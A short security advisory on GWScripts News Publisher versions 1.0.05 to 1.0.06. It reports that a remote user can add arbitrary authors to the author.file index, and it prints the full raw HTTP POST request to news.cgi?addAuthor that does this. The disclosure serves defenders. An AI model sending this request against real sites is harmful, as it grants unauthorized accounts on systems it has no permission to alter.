Title: GWScripts News Publisher author.file Write Vulnerability
Severity: MODERATE
Description:
It is possible for a remote user to add an author to the author index (author.file) in GWScripts News Publisher, a web news publisher. This can be done by requesting the following raw HTTP request using any arbitrary username and password:
POST /cgi-bin/news/news.cgi?addAuthor HTTP/1.0
Connection: close
User-Agent: user/browser
Host: target
Referer: http://target/cgi-bin/news/news.cgi
Content-type: application/x-www-form-urlencoded
Content-length: 71
author=<username>&apassword=<password>&email=<email address>&name=<username>&password=<password>
Affected Products:
- GWScripts News Publisher 1.0.05
- GWScripts News Publisher 1.0.05a
- GWScripts News Publisher 1.0.05b
- GWScripts News Publisher 1.0.06
References:
- GWScripts: News Publisher Homepage
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